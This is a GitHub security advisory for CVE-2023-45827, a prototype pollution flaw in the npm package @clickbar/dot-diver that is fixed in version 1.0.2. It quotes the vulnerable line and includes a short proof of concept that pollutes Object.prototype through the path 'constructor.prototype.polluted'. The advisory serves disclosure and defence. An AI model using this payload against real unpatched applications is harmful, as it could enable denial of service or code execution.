GitHub Advisoryadvisory · npm

GHSA-9w5f-mw3p-pj47 Prototype Pollution(PP) vulnerability in setByPath

HIGH Published 2023-11-03 Modified 2023-11-06 Official page ↗
Aliases
CVE-2023-45827
Ecosystem
npm
Packages
@clickbar/dot-diver
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Weaknesses
CWE-1321
Reviewed
2023-11-03

Affected packages

• npm @clickbar/dot-diver: < 1.0.2 → fixed in 1.0.2

Description

Summary There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE. Details ```javascript //https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277 // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access objectToSet[lastKey] = value ``` In this code, there is no validation for Prototpye Pollution. PoC ```javascript import { getByPath, setByPath } from '@clickbar/dot-diver' console.log({}.polluted); // undefined setByPath({},'constructor.prototype.polluted', 'foo'); console.log({}.polluted); // foo ``` Impact It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc. Credits Team : NodeBoB 최지혁 ( Jihyeok Choi ) 이동하 ( Lee Dong Ha of ZeroPointer Lab ) 강성현    ( kang seonghyeun ) 박성진    ( sungjin park ) 김찬호    ( Chanho Kim ) 이수영    ( Lee Su Young ) 김민욱    ( MinUk Kim )

Related

Alias · CVE (1)

  • CVE-2023-45827 Dot diver is a lightweight, powerful, and dependency-free TypeScript utility library that provides types and functions to work with object… vulnerability

Weakness · CWE (1)

  • CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness

References